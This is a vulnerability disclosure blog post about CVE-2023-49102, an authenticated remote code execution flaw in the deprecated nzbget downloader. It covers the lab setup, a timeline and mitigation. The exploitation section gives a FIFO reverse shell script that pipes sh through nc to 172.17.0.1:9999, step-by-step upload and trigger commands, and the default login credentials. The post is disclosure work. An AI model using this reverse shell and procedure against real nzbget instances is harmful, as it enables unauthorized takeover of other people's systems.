Authenticated Remote Code Execution in nzbget
Table of Contents
Objective⌗
From the GitHub repository of nzbget:
NZBGet is a binary downloader, which downloads files from Usenet based on information given in nzb-files.
To put that in context: the Usenet is the predecessor of the World Wide Web (the HTTP-based stuff, you know that one) and can be imagined as a big forum; people can write and respond to posts, using usenet reader applications. The posts can contain binary data as well, for example images. While its relatively old and has peaked a long time ago, it‘s still in use, especially in the Warez scene.
nzbget is a newsreader, as in: it accesses usenet posts, and a binary downloader, as in: it downloads the attachments of specified posts. You see how this fits into the Warez scene?
The software is not maintained anymore and received its last update on 1st of October, 2021; the repository itself is in archived state since 18th of November, 2022. However, it’s still widely used: I was able to find over 1500 publicly available instances on the internet, while countless additional instances are running behind a firewall or inside a private network.
Timeline⌗
- 11-11-2023: Discovery of RCE in lab environment
- 13-11-2023: Attempt to contact maintainer hugbug
- 21-11-2023: CVEs assigned
- 22-11-2023: Disclosure of technical details through this blogpost
Lab Setup⌗
As nzbget is a software which downloads stuff from a newsserver, obviously, a newsserver is required. While the choice doesn’t really matter, I picked go-nntp’s example newsserver as a base because it had a minimal footprint and didn’t store data persistently, meaning a simple restart would reset the newsserver. This doesn’t sound desireable, but in case of a lab, it really is. I needed to modify the code a bit, my patches are on my Git server.
The advantages are that any username or password is accepted and posts are only stored in-memory.
git clone https://git.maride.cc/maride/go-nntp-plusplus
cd go-nntp-plusplus/examples/server
go run .
The server is now happily waiting for connections on port 1119
.
As the newsserver is pretty empty at start, some tool is required to upload some binaries to the server. There are, again, some options to choose from; I picked nyuu as it is fast, reliable and maintained.
When uploading files to the newsserver, nyuu creates a .nzb
file used as a reference to those files. This NZB file is enough for nzbget to download the files from the newsserver again, given that the used newsserver is configured in nzbget.
The last required puzzle piece is nzbget itself. I chose to use the Docker container from linuxserver, which is arguably the most prominent container for nzbget with 500M+ pulls. Run it with sudo docker run -ti -p 6789:6789 lscr.io/linuxserver/nzbget:latest bash
, and open the web UI hosted on http://127.0.0.1:6789/
to configure the nzbget instance further. Default credentials are nzbget:tegbzn6789
. Go to Settings > News-Servers
and update the fields accordingly:
Server1.Host
:172.17.0.1
Server1.Port
:1119
Server1.JoinGroup
:Yes
Then, save changes and reload nzbget.
Side Note: Debugging command injection vulnerabilities⌗
Both discovered vulnerabilities heavily rely on understanding the handover between nzbget and unrar/7z. One way to debug this handover further would be to insert print and log statements into nzbgets code itself. However, I like to keep the observed executable as original as possible. Not touching it at all is the best choice IMHO.
I chose another way and created wrappers for 7z and unrar.
First, move the unrar and 7za command (found in ${AppDir}/unrar
and ${AppDir}/7za
, which is at /app/nzbget
in my case) to unrar.orig
and 7za.orig
. Then, create two files at the original path and with the original name and this content:
#!/bin/bash
OUT=/tmp/$(basename $0).log
echo "-----" >> $OUT
date +"%T.%N" >> $OUT
echo "$0 $@" >> $OUT
$0.orig "$@" | tee --append $OUT
This will write the full call and output of both commands to /tmp/7za.log
and /tmp/unrar.log
, respectively, while calling the correct executable with untouched arguments. Basically, it’s a drop-in wrapper, allowing you to see what’s going on under the hood. You can keep an eye on those files with watch -n 2 cat /tmp/7za.log /tmp/unrar.log
.
Vulnerability⌗
CVE-2023-49102⌗
Description⌗
Authenticated remote code execution through unarchive command.
Two unarchive programs are supported by nzbget: 7za
and unrar
. Both preserve permissions on the files. That means a shell script with execute bit set will remain executable in the nzbget container, which can be executed by setting SevenZipCmd
or UnrarCmd
accordingly. User Level Control
is required for this.
Evaluation⌗
CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0
Exploitation⌗
Now the trick is fairly simple: upload a reverse shell, change the 7za
executable path to the full path of the reverse shell, then upload a 7z-packed kicker file.
You could get creative with a reverse shell… or use a simple FIFO-based reverse shell from PayloadAllTheThings:
#!/bin/bash
rm /tmp/rev
mkfifo /tmp/rev
cat /tmp/rev |sh -i 2>&1 | nc 172.17.0.1 9999 >/tmp/rev
Make it executable with chmod +x revshell.sh
, then pack it: rar a revshell.rar revshell.sh
.
Next, upload the resulting archive to the newsserver with nyuu --host 127.0.0.1 --port 1119 --from "revshell@invalid.nzb" --groups "alt.test" --out revshell.nzb revshell.rar
The resulting revshell.nzb
can now be uploaded to nzbget, where it will be loaded to ${MainDir}/completed/revshell/revshell.sh
.
Now go to Settings/Unpack
and change SevenZipCommand
from ${AppDir}/7za
to ${MainDir}/completed/revshell/revshell.sh
. Note: you need to be the Control
user, which is the user type with no limitations. The Restricted
user type doesn’t have access to the SevenZipCommand
setting.
When all of this is set, it just needs a request to download a 7z file. To speed things up, create one on your own:
Run touch kicker
, 7z a kicker.7z kicker
, then upload it: nyuu --host 127.0.0.1 --port 1119 --from "revshell@invalid.nzb" --groups "alt.test" --out kicker.nzb kicker.7z
.
After that, send the kicker.nzb
to nzbget and enjoy your reverse shell.
Mitigation⌗
Make sure to change credentials for the Control
user. Evaluate if the instance really needs to be exposed on the internet.
Conclusion⌗
nzbget is deprecated and you should’ve switched by now already. The discovery of this vulnerability, although it doesn’t have a CVSS score of 10.0, is a good reminder to move on to an alternative which is still maintained.